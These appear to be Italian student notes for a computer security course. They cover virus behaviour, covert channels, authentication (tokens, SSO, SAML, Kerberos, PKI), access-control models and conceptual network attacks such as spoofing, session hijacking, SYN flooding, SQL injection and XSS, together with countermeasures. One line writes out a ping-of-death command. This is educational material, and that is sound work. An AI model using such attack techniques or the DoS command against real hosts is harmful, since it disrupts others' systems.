Cap1 e 2

Sabotaggio: Qualsiasi iniziativa o azione di disturbo o di danneggiamento intesa a ostacolare il normale funzionamento del sistema. Il sabotaggio fisico ha come obiettivo il danneggiamento fisico; il sabotaggio logico ha lo scopo di sabotare il normale funzionamento del sistema; il sabotaggio psicologico ha come obiettivo il logoramento psicologico dell'utente. **Intrusione** • Fisica: è un metodo per guadagnare l'accesso fisico ad aree controllate e tipicamente viene usata per sabotaggi di tipo fisico da parte di persone che non sono autorizzate ad accedere all'area ove risiedono le attrezzature • Logica: ha luogo in un sistema dove l'identità degli utenti è verificata automaticamente dal sistema e da questa derivano tutti i crimini riguardanti l'alterazione di informazione.**Sostituzione di Identità** :Riguarda l'utente di un sistema che assume l'identità di un altro. Quando l'intruso è all'interno del sistema, ha la possibilità di commettere qualsiasi tipo di crimine. **Intercettazioni:** Riguarda i messaggi trasmessi sui sistemi di comunicazione; l'intruso può agire come un utente attivo per modificare l'informazione intercettata oppure può agire come un utente passivo che si limita a registrare le informazioni intercettate.

Esecuzione One-Time: La maggior parte dei virus vengono eseguiti una sola volta provocando l'infezione e la diffusione dell'infezione. **Pattern di memorizzazione**: Il virus si trova sempre nella stessa posizione relativa al file in cui si è attaccato. Nei casi più semplici il virus si trova all'inizio e viene eseguito prima che il codice del programma a cui si è attaccato venga eseguito. Il virus scanner può cosi usare un codice o check sum per scoprire il virus. Es. Pattern sospetti: Jump come prima istruzione.**Pattern di Esecuzione**: un virus è potenzialmente in grado di fare più cose contemporaneamente: diffonde l'infezione, adotta tecniche per evitare di essere individuato e provoca danni. Sfortunatamente molti di questi comportamenti sono normali e possono pertanto passare inosservati (es. uno degli obiettivi di un virus può essere la modifica della file directory: questo però avviene ogni volta che un qualsiasi programma che crea file, cancella file e scrive su disco). Non ci sono limiti a ciò che un virus può provocare: non provoca danni, fa apparire un messaggio sullo schermo, provoca dei beep, cancella file, o l'intero disco. **Pattern di trasmissione:** un virus è efficace solo se ha modo di trasmettersi da una locazione all'altra. La trasmissione del virus avviene durante l'esecuzione di un programma già infetto.Un virus è in grado di eseguire qualsiasi istruzione e la sua trasmissione non è vincolata ad un solo pattern di trasmissione.

Canali coperti(covert channel): Sono dei canali impropri di comunicazione nei quali i programmi comunicano delle informazioni a persone che non dovrebbero riceverle.Un programmatore può creare un covert channel avendo accesso diretto ai dati e scrivendoli in un altro file.Nel caso in cui non abbia un accesso diretto ai dati deve trovare un modo per arrivare a questi dati, come il cavallo di troia.

Timing Channel = Altri tipi di canali coperti detti timing channel sfruttano invece la velocità con cui accadono certi eventi all'interno del sistema. Un programma di servizio può usare un canale di questo tipo usando o non usando il tempo di computazione ad esso assegnato. Nel caso più semplice, in un sistema multiprogrammato con due processi, il tempo di computazione è suddiviso in blocchi che vengono alternativamente assegnati ai due processi. Tuttavia quando ad un processo gli viene offerto tempo di computazione, come abbiamo detto il processo può scegliere di nn usufrutirne (es., se non deve svolgere nessuna computazione o se sta aspettando il verificarsi di altri eventi) e il processo di servizio può quindi decidere di usare il blocco assegnato (segnalando così un 1) oppure può anche lui rifiutarlo (segnalando così uno 0). **Storage Channel** = Sono canali coperti che sfruttano la presenza o l'assenza di oggetti in memoria. Un semplice esempio è il canale detto file lock che, in un sistema multiutente, garantisce che un utente alla volta sia in grado di accedere al file, per evitare che due o più utenti eseguano delle modifiche contemporaneamente sullo stesso file. Un canale nascosto può segnalare un bit di informazione sfruttando il fatto che un file può essere bloccato (locked) oppure no.Ex Un programma di servizio segnala un 1 creando un file di grosse dimensioni che consuma la maggior parte dello spazio libero su disco, il programma spia tenta poi di creare un file di grosse dimensioni: se l'operazione di creazione ha esito positivo allora si può affermare che il programma di servizio voleva segnalare uno 0; altrimenti un 1.

Cap3

Servizi di sicurezza: identificazione e autenticazione (identifica gli utenti e ne verifica l'identità), controllo dell'accesso (determina se permettere o negare una richiesta d'accesso in base a regole predefinite), audit (valuta a posteriori le richieste e gli accessi al sistema per determinare se ci sono state violazioni), crittografia (assicura che i dati vengano letti solo dal legittimo ricevente).

Autenticazione basata su Token: Basata su possesso da parte degli utenti di token(oggetto di dimensione di una carta di credito).Un token è più sicuro di una password. L'autenticazione basata su token dimostra solo l'identità del token, e non quella dell'utente quindi chiunque acquisisca un token può impersonare l'utente. **Challenge Response Handshake =** il server di autenticazione stabilisce una sfida (challenge). Es., numero casuale. Il token genera la risposta alla sfida utilizzando la chiave privata del token.se la risposta è corretta l'autenticazione ha successo. Esempio: smart card: ogni smart card ha una unica chiave privata (nota al server di autenticazione). Per autenticare l'utente al sistema la smart card verifica il PIN.

Codifica l'identificatore dell'utente, il PIN e informazione addizionale (es., data e ora), e manda il testo crittato al server. La autenticazione ha successo se il server può decodificare correttamente.
Single Sign On. Il (SSO) è un sistema ke appunto permette all'utente di autenticarsi una sola volta, ovvero di utilizzare un'unica credenziale per avere accesso a tutte quelle risorse per cui è autorizzato. Tuttavia sembrerebbe una debolezza dal punto di vista della sicurezza, il fatto che un'unica credenziale permetta di accedere ad un alto numero di risorse. Per questo motivo può essere necessario affiancare al meccanismo di Single Sign-on un sistema di autenticazione più sicuro.**Caratteristiche del Single Sign-On.** L'utente si autentica in un dominio (dominio primario) e questo gli permette di accedere anche ad altri domini; tra il dominio primario e gli altri domini devono essere presenti delle relazioni di trust. I domini secondari ottengono quindi dal dominio primario le informazioni dell'utente che ha usato il servizio di sign-on del dominio primario.A seconda del tipo di architettura adottata, ci sono due tipologie di sistemi SSO: - centralizzato; - federato.**SSO Centralizzato.** Esiste un'autorità centrale e una base di dati centralizzata che gestisce le informazioni di autenticazione relative ai vari utenti (identità degli utenti). I vantaggi: facilità di gestione e il controllo dell'accesso può essere fatto sfruttando queste informazioni dal dominio primario mentre lo svantaggio principale sta nel fatto che tutti i domini partecipanti hanno la necessità di interagire con il dominio primario. Viene adottato perciò un protocollo di comunicazione tra il dominio primario e i domini secondari che permetta lo scambio delle informazioni di autenticazione degli utenti.**SSO federato**: autenticazione realizzata da più server SSO indipendenti. L'identita di un utente è l'insieme delle identità indipendenti che l'utente possiede nei vari domini. La combinazione delle identità degli utenti forma la network identity. L'utente può stabilire con quale server SSO interagire.**Network identity**: L'utente ottiene un account a cui è associato uno username e può memorizzare informazioni quali ad es. numero carta di credito, indirizzo,numero di telefono.L'insieme di tutte queste proprietà distribuite tra i vari account rappresenta la network identità dell'utente.**SAML.** Security Assertion Markup Language è un insieme di specifiche per lo scambio di informazioni (assertion), basate su XML, riguardanti autenticazione e sicurezza degli utenti • Con SAML versione 1.0, sostiene OASIS, gli utenti dovrebbero essere in grado di effettuare il login su un sito Web e trasferire le proprie credenziali automaticamente sui siti partner. SAML è stato ideato per funzionare sui meccanismi di trasporto più comuni, come HTTP, SMTP, FTP e alcuni framework XML, tipo SOAP. Componenti Principali di **SAML. Asserzioni**. Possono essere di tre tipi diversi, ma sono sempre dichiarazioni di fatti riguardanti l'utente, sia esso una persona fisica o un computer: - Le asserzioni di autenticazione (authentication assertion) richiedono che un utente provi la propria identità; - Gli attributi (attribute assertion) contengono i dettagli specifici dell'utente, come la nazionalità o il tipo di carta di credito; - I permessi (authorization decision assertion) identificano invece quali operazioni un utente può compiere (per esempio autorizzazioni all'acquisto di un bene). Ogni tipo di asserzione contiene come minimo le seguenti informazioni: -identificatore univoco che serve come nome dell'asserzione; -data e ora di creazione (opzionale); -periodo di validità (opzionale); -cosa l'asserzione dichiara. Può inoltre contenere altre informazioni opzionali; l'asserzione può dipendere da condizioni addizionali come la dipendenza da altre asserzioni che devono essere valide. Request/response protocol. Definisce come si richiedono e ricevono le asserzioni. SAML supporta messaggi SOAP su HTTP in questo momento, ma in futuro saranno supportati altri meccanismi di trasporto. Bindings. Fornisce i dettagli esatti su come le richieste SAML devono essere mappate nei protocolli di trasporto, come SOAP su HTTP. Profili. Sono le istruzioni su come inserire o trasportare le assertion SAML tra sistemi di comunicazione diversi. [Da notare che SAML, pur definendo asserzioni specifiche su un utente e sulle sue credenziali, di fatto non li autentica né autorizza].

Cap 4
Politiche: linee ad alto livello che descrivono gli accessi autorizzati al sistema**. Mecanismi:** funzioni di basso livello che implementano la politica.**Approccio multi-fase**: Innanzitutto bisogna definire un Modello per il controllo degli accessi che definisce formalmente la specifica per l'esecuzione del controllo dell'accesso. Il modello deve essere: completo: deve rappresentare tutti i requisiti di sicurezza che devono essere rappresentati. **e** consistente: non deve contenere contraddizioni.**Vantaggi**: in ogni fase lo studio viene concentrato su aspetti particolari. Permette di separare la valutazione di politiche, modelli e meccanismi. Permette di dimostrare proprietà del sistema.
Meccanismi per il controllo dell'accesso: si basano sulla definizione di un reference monitor che deve essere: tamper-proof: non può essere alterato -non-bypassabile: media tutte le richieste di accesso al sistema e alle sue risorse -security kernel: deve essere confinato in una parte limitata del sistema (distribuire le funzioni di sicurezza in tutto il sistema implica che tutto il codice deve essere verificato) - piccolo abbastanza da poter essere verificato con metodi rigorosi e formali
Le Politiche di sicurezza possono essere distinte in politiche per: •controllo dell'accesso: definiscono chi può (o non può) accedere alle risorse. Tre classi principali: – **Politiche discrezionarie** (DAC): Controllano l'accesso sulla base dell'identità degli utenti che lo richiedono e su regole che stabiliscono chi può (o non

può) eseguire azioni sulle risorse. Sono chiamate discrezionarie perchè agli utenti può essere data l'autorità di passare i propri privilegi ad altri utenti attraverso il controllo di una politica amministrativa. **Politiche amministrative DAC:** amm. centralizzata: un singolo amministratore può ha il controllo su tutto il sistema. Amm.gerarchica: un singolo amministratore è responsabile per assegnare responsabilità amministrative ad altri. Amm. Cooperativa: diversi amministratori cooperano nella definizione delle autorizzazioni. Ownership: ogni oggetto ha un proprietario che lo amministra. Amministrazione decentralizzata: ammin. Suddivisa tra + utenti. permette di delegare i privilegi amministrativi ad altri.
ACL vs Capability •ACL richiede di autenticare sempre i soggetti. **--** Capability non richiede sempre autenticazione di oggetti, ma richiede *non falsificabilità* e controllo sulle propagazione di capability. •ACL è più efficiente nel controllo dell'accesso e revoca relative a oggetti.--Capability è più efficiente nel controllo dell'accesso e revoca relative a soggetti. •Le operazioni per-oggetti sono considerate prevalenti->molti sistemi ACL persino una forma abbreviata di ACL (es., Unix 9 bits). **Politiche mandatorie (MAC):** impongono restrizioni sul flusso di informazioni(distinzione tra utenti (fidati) e processi (non fidati)). **Limitazioni**: I requisiti del mondo reale spesso necessitano di eccezioni alle restrizioni della politica mandatoria. Es., declassificazione: I dati possono poter essere declassati dopo un certo periodo. Sanitizzazione: Un processo può produrre dati meno sensibili di quelli a cui accede come per i processi Trusted (fidati). Per un processo trusted alcune restrizioni della politica mandataria possono essere omesse. La determinazione delle classi di accesso non è sempre facile. Associazione: l'associazione di un insieme di proprietà può avere classificazione maggiore delle proprietà singolarmente prese (es., nome and stipendio). Aggregazione: Un'aggregazione può avere una classificazione maggiore dei singoli valori che la compongono (es., la locazione di una singola nave militare è unclassified ma la locazione di tutte le navi di una flotta è secret).**Politiche amministrative MAC**: definiscono a chi spetta il compito di concedere e revocare le autorizzazioni. esse sono determinate dalle classificazioni assegnate a soggetti e oggetti del sistema. la classificazione dei soggetti sono determinate dall'amministratore di sicurezza. Le classi degli oggetti sono determinate dal sistema in base dei soggetti che li hanno creati.
Modello di BLP: Definisce una politica mandatoria per la segretezza (ha introdotto i concetti di no-read-up, no-write-down). Differenti versioni del modello (per correggere vulnerabilità o per particolari sistemi). Il sistema è modellato come stati e transizioni di stato. Stato v€V tripla ordinata (b,M, λ) • b € (S × O × A): insieme degli accessi correnti nello stato v • M: Matrice di accesso con S righe, O colonne, (entrate assumono valori in A) • λ: S U O-> L: ritorna la classificazione di soggetti e oggetti. **proprietà: simple security** Stato (b,M, λ) è sicuro sse V(s, o, a) € b, a = read-> λ(s) ≥ λ(o) ***-security** Stato (b,M, λ) è sicuro sse V(s, o, a) € b, a = write-> λ(o) ≥ λ (s). Uno stato è sicuro sse soddisfa security property e *-property. funzione di transizione di stato T : V × R->V trasforma uno stato sicuro in uno stato sicuro. Un sistema (v0,R, T) è sicuro se v0 è sicuro e ogni stato raggiungibile da v0 eseguendo una sequenza finita di una o più richiesta da R è sicuro. **Modello di Biba per l'integrità:** Definisce una politica mandatoria per l'integrità Goal: prevenire il flusso delle informazioni verso classi più alte o non comparabili. **Politica di stretta integrità:** Basata su principi duali a quelli di BLP ***-property** Stato (b,M, λ) è sicuro sse V(s, o, a), a = write-> λ(s) ≥ λ (o).**simple property:** Stato (b,M, λ) è sicuro sse V(s, o, a) ,a = read-> λ(o) ≥ λ (s). Politiche di segretezza e integrità possono coesistere ma devono avere classificazioni "indipendenti". **Limitazione della politica di Biba** Controlla solo compromessi di integrità dovuti a flussi impropri. L'integrità è un concetto più complesso.
Politiche basate sui ruoli (RBAC) •amministrazione: definisce chi può specificare le autorizzazioni/regole che governano il controllo dell'accesso ed è generalmente associata a DAC e RBAC. **Vantaggi:** Gestione semplificata è più facile gestire le autorizzazioni (es., è sufficiente assegnare o togliere un ruolo ad un utente per abilitarlo a tutta una serie di compiti) Gerarchia di ruoli può essere sfruttare per le implicazioni. Semplifica ulteriormente la gestione. Restrizioni Ai ruoli possono essere associate restrizioni quali cardinalità o restrizioni di attivazione. Least privilege Permettono di avere in ogni momento il minimo privilegio possibile per fare un certo lavoro. =!Limita la possibilità di abusi e danni per violazioni. **Separazione dei privilegi:** Permettono di applicare una politica di separazione dei privilegi. **Svantaggi:** relazioni gerarchiche possono essere limitative (es., segretario può scrivere lettere on behalf del suo manager) • propagazione basata sulla gerarchia non sempre voluta (è contraria al principio del minimo privilegio). • servono politiche amministrative – proprietà non può essere più data allùtente • mancanza di relazioni con l'identità degli utenti (che a volte può servire per raffinare gli accessi – es., "mio paziente")
Chinese wall Tipo particolare di politica di stile mandatorio che applica separazione dinamica dei privilegi per proteggere segretezza in ambito commerciale Goal prevenire flussi di informazione che causano conflitto di interesse per singoli consulenti (es. un consulente non dovrebbe avere informazioni su due banche o due compagnie petrolifere). Gli oggetti sono organizzati gerarchicamente su tre livelli • basic object oggetti contenenti informazioni, (e.g., file), ognuno riguarda una diversa organizzazione; • company dataset gruppi di oggetti che si riferiscono alla stessa organizzazione; • classi di conflitto di interesse raggruppano tutti i dataset di organizzazioni che sono in competizione. **Chinese wall: assiomi Simple**

security rule Un soggetto s può avere accesso a un oggetto o solo se o: • è nello stesso company dataset ("all'interno del muro") degli oggetti che s ha già acceduto, oppure • appartiene a una classe di conflitto di interessi differente. ***-property** Accesso in scrittura è permesso solo se • l'accesso è permesso dalla simple security rule, e • nessun oggetto può essere letto che è *i)* in un company dataste differente da quello per cui l'accesso in scrittura è richiesto, e *ii)* contiene informazione "non sanitizzata". **Chinese Wall** La simple security rule blocca flussi da parte di un singolo utente. La *-property blocca flussi indiretti che potrebbero essere effettuati con la collusione di due o più utenti La politica Chinese Wall non è ben formalizzata e lascia aperti alcuni problemi, quali: • gestire la storia degli accessi • garantire accessibilità (es., se tutti gli utenti leggono lo stesso dataste il sistema è bloccato) • sanitizzazione dei dati Però introduce il concetto importante di separazione dei privilegi dinamica. **Separazione dei privilegi** Principio di separazione dei privilegi: nessun utente (o insieme ristretto di utenti) dovrebbe avere abbastanza privilegi da poter abusare del sistema. **statica** chi specifica le autorizzazioni deve assegnarle in modo da non dare "troppi privilegi" ad un singolo utente **dinamica** il controllo sulla limitazione dei privilegi è dinamico: un utente non può fare "troppi" accessi ma è libero di scegliere quali fare. Il sistema gli negherà gli altri di conseguenza =!più flessibile **Esempio**: fare-ordine, spedire-ordine, registrare-fattura, pagare. Abbiamo quattro persone in segreteria. Requisito di protezione: almeno due utenti devono essere coinvolti nel processo statico l'amministratore assegna i compiti in modo che nessuno abbia tutte e quattro le operazioni. dinamico ogni persona può fare qualsiasi operazione, ma non può completare il processo =!se ne fa tre il sistema gli rifiuta la quarta.

Poliinstanziazione: Il problema principale nel supportare una classificazione a livello di granularità fine è l'introduzione della poliinstanziazione. Prevede la presenza simultanea di più oggetti con lo stesso nome ma con diversa classificazione;quindi ci sono differenti tuple con la stessa chiave ma c'è una classificazione diversa per la chiave e valori e classificazione diversa per uno o più attributi. La poliinstanziazione non ha avuto successo con i DBMS multilivello.

RBAC: Ruoli sono autorizzati ad accedere agli oggetti • Utenti sono autorizzati ad attivare ruoli • Attivando un ruolo r un utente può eseguire tutti gli accessi concessi ad r. • I privilegi di un ruolo non sono applicabili quando il ruolo non è attivo. Anche se ruoli e gruppi possono rappresentare lo stesso concetto, sono due cose diverse • gruppi: raggruppano utenti ("statici") • ruoli: raggruppano privilegi ("dinamici") Generalmente i ruoli sono organizzati in una gerarchia di specializzazione La gerarchia può essere sfruttata per propagare autorizzazioni • Se un ruolo r ha l'autorizzazione ad eseguire (azione,oggetto) =! tutti i ruoli specializzazione di r possono eseguire (azione, oggetto) • Se u ha l'autorizzazione ad attivare un ruolo r =!u può attivare tutti i ruoli generalizzazione di r. **Vantaggi Gestione semplificata** è più facile gestire le autorizzazioni (es., è sufficiente assegnare o togliere un ruolo ad un utente per abilitarlo a tutta una serie di compiti) **Gerarchia di ruoli** può essere sfruttare per le implicazioni. Semplifica ulteriormente la gestione. **Restrizioni** Ai ruoli possono essere associate restrizioni quali cardinalità o restrizioni di attivazione. **Least privilege** Permettono di avere in ogni momento il minimo privilegio possibile per fare un certo lavoro. =!Limita la possibilità di abusi e danni per violazioni. **Separazione dei privilegi** Permettono di applicare una politica di separazione dei privilegi. RBAC Controllo di accesso basato sui ruoli promettente ma non soddisfa tutti i requisiti del mondo reale • relazioni gerarchiche possono essere limitative (es., segretario può scrivere lettere on behalf del suo manager) • propagazione basata sulla gerarchia non sempre voluta (è contraria al principio del minimo privilegio). • servono politiche amministrative **–** proprietà non può essere più data allùtente • mancanza di relazioni con l'identità degli utenti (che a volte può servire per raffinare gli accessi – es., "mio paziente") .

Valutazione ACL (windows)= thread sottomette una richiesta di accesso ad un oggetto. Acces token del thread e security descriptor dell'oggetto vengono confrontati: se DACL non è specificata nel security descriptor.**Acces token restrittivi**: acces token dove sono stati rimossi alcuni privilegi o sono stati aggiunti SID restrittivi.**Personificiazione**: meccanismo che consente a un thread di acquisire i diritti di accesso di un diverso utente.(simile a setuid e setgid di linux)

Cap 5

Caratteristiche delle reti • Anonimità • Automazione: nodi intermedi e/o finali possono essere macchine con solo una minima supervisione umana • Distanza: connessione tra nodi possibilmente molto distanti fra loro • Opacità: utenti non possono dire se una macchina remota è nella stanza accanto o in un altro continente • Instradamento dinamico: interazioni tra due nodi possono seguire percorsi diversi per motivi di affidabilità e performance. **tipologie di attacchi**,**Interruzione**:Una parte del sistema viene distrutta o diventa non utilizzabile Attacco alla disponibilità del sistema **Intercettazione**: Soggetto non autorizzato ottiene accesso ad una componente del sistema: Possono richiedere un attacco preventivo a livello fisico per installare dispositivi pirata agganciarsi alla rete, installare software di supporto alla intercettazione, Basato su analizzatori di traffico su rete (locale o geografica), applicazioni di analisi del traffico su rete (sniffing) –server che si spacciano come server originali (spoofing), programmi che emulano servizi del

sistema registrando informazioni riservate del'utente. Possono sfruttare debolezze intrinseche di protocolli e software di rete • Possono sfruttare il fatto che un utente abbia disatteso qualche norma comportamentale imposta dalla politica di sicurezza • Attacco alla confidenzialità del sistema. **Modifica**: -Soggetto non autorizzato entra in possesso di una componente del sistema, la modifica e la introduce di nuovo nel sistema • Questo è un attacco all'integrità **Produzione**:-Soggetto non autorizzato produce componenti nuove e le immette nel sistema • Attacchi tesi a degradare l'operatività del sistema • Diverse tecniche di disturbo – virus – worm – denial of service • Atti di sabotaggio che minacciano tipicamente l'integrità e la disponibilità, più raramente (e indirettamente) la confidenzialità

Tipi di spoofing: Azione di camuffamento; **File spoofing:** Tecnica usata per simulare che un file corrisponde ad un tipo diverso da ciò che è realmente • Estensioni associate a file – sistemi windows di default non visualizzano le estensioni dei file (es., archivio.zip mostrato come archivio) – cosa succede ad un file rinominato (volutamente) col nome archivio.zip.exe? • Intestazioni malformate nel protocollo MIME che gestisce gli allegati alle e-mail • Attachment sono codificati con lo standard MIME: codifica solo testo nel caso dei file ASCII puri; codifica base64 nel caso di file binari (eseguibili, immagini, file ZIP)

IP spoofing: IP sorgente di un pacchetto viene modificato • Facilmente modificabile • Per evitare il blind spoofing (le risposte ai pacchetti inviati non sono visibili) – usare una macchina compromessa sulla rete del server o del client – usare il source routing per settare alcune opzioni del pacchetto IP

Masquerade - Una macchina dichiara di essere una macchina diversa • URL confusion – nomi di dominio si possono facilmente confondere – xyz.com, xyz.org e xyz.net tre diverse organizzazioni – xyz.com, xyz.org e xyz.net una organizzazione vera e le altre due un tentativo di mascheramente • Phishing – accesso ad informazioni personali e riservate con la finalità del furto di identità – si usano messaggi di posta elettronica fasulli oppurtunamente creati per apparire autentici

TCP session hijacking- Inserimento in una sessione TCP attiva • Spiando una connessione attiva è possibile sostituirsi ad uno dei due interlocutori – Trudy spia la connessione tra Alice e Bob e registra i numeri di sequenza dei pacchetti – Trudy blocca Bob che vede interrompersi la sua sessione interattiva – Trudy invia pacchetti con il corretto numero di sequenza con mittente Bob in modo che Alice non si accorga di nulla **Man in the middle:** Attacchi in cui l'intruso riesce a dirottare il traffico tra client e server legittimi. TCP session hijacking è un esempio • Diversi tipi: fisico (es., attaccante controlla un firewall) o logico – full (attaccante vede entrambi i flussi) o half-duplex (blind). **Sniffing:** Lettura abusiva di tutti i pacchetti che transitano in rete mediante sniffer: Una scheda di rete passa al sistema operativo solo il traffico destinato alla singola macchina. Sniffing significa che la scheda di rete si trova in modalità promiscua e cattura tutto il traffico rete. **Denial of service:** Il sistema nega l'accesso a servizi/informazioni anche ad utenti regolarmente autorizzati. Il principio su cui si basa l'attacco è semplice – inondare di richieste casuali la macchina obiettivo dell'attacco – il target dell'attacco non riuscirà più a sopportare il carico di richieste e quindi smetterà di funzionare . **Ping of death**: Basato sul protocollo ICMP – protocollo per la diagnostica. I pacchetti ICMP hanno un payload la cui dimensione è superiore ad un certo valore (windows:ping -1 65527). Il sistema che riceve questi pacchetti va in crash . **SYN flooding**: L'aggressore genera un flusso di pacchetti con il flag SYN attivo e con indirizzo IP "spoofato" • La coda delle connessioni half-opened dello stack TCP/IP viene saturata • La vittima rifiuta altre connessioni (anche legittime) • Gli stack moderni sono resistenti a questo tipo di attacco • SYN cookie: l'allocazione delle risorse viene posposta finché non si riceve il terzo pacchetto – IP mittente verificato – cookie memorizza le informazioni e viene poi inviato al client – integrità del cookie garantita attraverso meccanismi di firma.

Distributed denial of service (DDoS): Agenti (zombi) sono in numero elevato, distribuiti su differenti computer e sincronizzati da pochi centri (master) – gli utenti delle macchine zombi sono ignari di essere strumenti usati per un attacco DDoS – master sono macchine infettate oppure macchine dell'attaccante • Attaccante vero e proprio che scatena l'attacco – invia opportuni messaggi a master che a loro volta fanno entrare in azione gli zombi. **SQL injection**: Interessa qualsiasi linguaggio di programmazione e qualsiasi DBMS; si basa sul fatto che le interrogazioni SQL costruite sulla base di input passati da un utente possono essere manipolate a piacimento, e l'input può essere trasmesso in vari modi: tramite URL (query string), form HTML, o cookies costruiti su misura. Esistono diverse ***contromisure*** per proteggersi dall'SQL injection: controlli sul tipo di dato, creazione di filtri tramite espressioni regolari, eliminazione di caratteri potenzialmente dannosi, escare di caratteri potenzialmente dannosi.

Cross-site scripting - XSS - Permette ad un attaccante di inserire codice arbitrario come input di una applicazione Web • Dovuto a due fattori – siti web si fidano dei dati che arrivano dall'esterno – siti web spesso visualizzano quello che ricevono in input (echo back) • Potenzialmente la vittima dell'attacco non è solo il sito, ma anche l'utente – un semplice link che porta ad una pagina di un sito non protetta può creare danni • Attacco usato per – raccogliere dati degli utenti – leggere i cookie – dirottare l'utente su un altro sito – visualizzare falsa pubblicità. **Contromisure**: controllare ogni informazione inserita in input dagli utenti prima di inoltrarla alle applicazioni • Utenti: tenere sempre aggiornato il proprio browser – permettono di disabilitare l'utilizzo di linguaggi quali javascript, vbscript, activix. Casting(forxare una variabile a un certo

tipo), espressioni regolari (per controllare ciò che l'utente inserisce), eliminazione caratteri dannosi (si eliminano i caratteri potenzialmente dannosi), escape dei caratteri(si effettua il quoting di singoli caratteri).
Buffer overflow: è una vulnerabilità di sicurezza che può affliggere un qualsiasi software. Consiste nel fatto che tale programma non controlla in anticipo la lunghezza dei dati in arrivo, ma si limita a scrivere il loro valore in un buffer di lunghezza prestabilita, confidando che l'utente (o il mittente) non immetta più dati di quanti esso ne possa contenere: questo può accadere se il programma è stato scritto usando funzioni di libreria di input/output che non fanno controlli sulle dimensioni dei dati trasferiti. Prevenzione: usare linguaggi di progr sicuri, etichettare lo stack come non eseguibile, randomizzare la posizione dello stacko crittare l'indirizzo di ritorno. Analisi statita del codice per trovare potenziali overflow. Controlli run-time dei limiti di array e buffer. **Stack overflow**: consiste ugualmente nella sovrascrittura dell'area dati del programma, ma questa volta la causa è l'attività del programma stesso: chiamando con dei parametri particolari una funzione ricorsiva del programma, questa accumula chiamate in sospeso sullo stack fino a riempirlo completamente e inizia a sovrascrivere la memoria vicina

Kerberos: Tree obiettivi: **autenticazione**: verificare l'identità di un client o di un servizio. **autorizzazione**: autorizzare un client autenticato ad utilizzare un particolare servizio. **accounting**: verificare la quantità di risorse utilizzate da un particolare client. Certificati digitali utili per certificare:identità, accreditamenti (es., appartenenza ad associazioni o gruppi), la sua chiave. **Obiettivi**: **Sicurezza**: attaccante in ascolto sulla rete non deve essere in grado di acquisire informazioni per impersonare un utente legittimo • **Affidabilità**: indisponibilità di Kerberos implica l'indisponibilità di tutti i servizi • **Trasparenza**: processo di autenticazione trasparente all'utente tranne per l'inserimento della password • **Scalabilità**: Kerberos deve essere in grado di gestire un elevato numero di clienti e di server. **Authentication Server (AS)**: fornisce un servizio di autenticazione, conosce le password di tutti gli utenti, condivide una chiave segreta univoca con ciascun server. **Ticket Granting Server (TGS)**: fornisce un servizio di controllo dell'accesso, genera un ticket di servizio per gli utenti che sono stati autenticati da AS, ticket di servizio utilizzato per accedere ad un determinato servizio offerto da un server. **Client**: utenti che vogliono accedere a servizi offerti da server **Server**: fornisce i servizi ai client, si affida a una coppia AS/TGS per eseguire una adeguata autenticazione dei client. **Kerberos realm**: definito come l'insieme di client e server il cui controllo amministrativo è affidato ad una singola coppia AS/TGS. Fasi: **Fase 1** (messaggi 1 e 2) – C e AS usano la chiave di lunga durata (la password del client) per l'autenticazione – AS consegna a C una chiave di sessione e un ticket granting ticket (TGT). **Fase 2** (messaggi 3 e 4) – TGS usa la chiave di sessione e il TGT per l'autenticazione – TGS rilascia a C un ticket di servizio e una ulteriore chiave di sessione. **Fase 3** (messaggi 5 e 6) – C e S usano la chiave di sessione ed il ticket rilasciati da TGS per l'autenticazione – il messaggio 6 è presente solo se è richiesta la mutua autenticazione. **Autenticazione cross-realm**: Kerberos supporta autenticazione cross-realm: permette ai client in un realm l'accesso a server in un altro realm, richiede un pre-agreement tra le coppie AS/TGS coinvolte • AS/TGS di un realm condivide una chiave segreta con AS/TGS dell'altro realm. **Differenze tra V4 e V5**: Dipendenza dal sistema di crittografia,DES nella versione 4 qualsiasi nella versione 5 • Dipendenza dal protocollo IP: indirizzi IP nella versione 4,qualsiasi tipo di indirizzo di rete nella versione 5. Ordinamento byte nel messaggio: ordinamento a scelta nella versione 4, notazioni ASN.1 e BER nella versione 5. Durata del ticket – 8 bit con unità di 5 minuti (28 x 5 = 1280 min) nella versione 4, arbitraria nella versione 5. Inoltro dell'autenticazione: non permessa nella versione 4, permessa nella versione 5. Autenticazione fra realm diversi: N realm richiedono N2 relazioni nella versione 4, meno relazioni nella versione 5.
Certification Authority (CA): Associazione chiave pubblica/soggetto garantita da una terza parte fidata. Terza parte fidata nota con il termine Certification Authority (CA). CA rilascia un certificato digitale, che contiene informazioni dell'utente per cui rilascia il certificato – contiene la chiave pubblica. Il certificato digitale lega il nome di un soggetto ad una chiave pubblica, Questo legame viene firmato dalla CA • Si verifica l'autenticità del certificato tramite copia autentica della chiave pubblica della CA. **Creazione di un certificato digitale**: Utente prova la propria identità alla CA, CA verifica l'autenticità della chiave: coppia chiavi pubblica/privata generata dalla CA o coppia chiavi pubblica/privata generata dall'utente. CA crea un certificato digitale che contiene la chiave pubblica ed i dati identificativi dell'utente. CA firma il certificato digitale con la propria chiave privata.**Public Key Infrastructure**: Protocolli, politiche e meccanismi necessari per supportare lo scambio di chiavi pubbliche. Necessita di – formato dei certificati – relazioni tra diverse CA e tra CA ed utenti – politiche e meccanismi per l'emissione e revoca dei certificati – servizi di directory Standard X.509 Standard più diffuso (ITU) per la rappresentazione di certificati.Si devono prevedere meccanismi per poter dichiarare chiavi non più valide:cioè chiavi pubbliche le cui corrispondenti chiavi private sono compromesse, chiavi pubbliche le cui chiavi private sono state perse, chiavi che non vengono più usate. Due sistemi principali: data di validità, revoca esplicita.

Certificate revocation list (CRL) Lista dei certificati revocati. CRL devono essere controllate prima di considerare un certificato valido. Singola CA che certifica tutte le chiavi pubbliche non è una soluzione pratica • Approccio gerarchico – root authority firma certificati per authority di livello più basso – authority di basso livello firmano certificati per singole reti e così via – si formano catene di certificati.Tutti i protocolli di autenticazione basati su crittografia asimmetrica possono utilizzare i certificati.

Audit

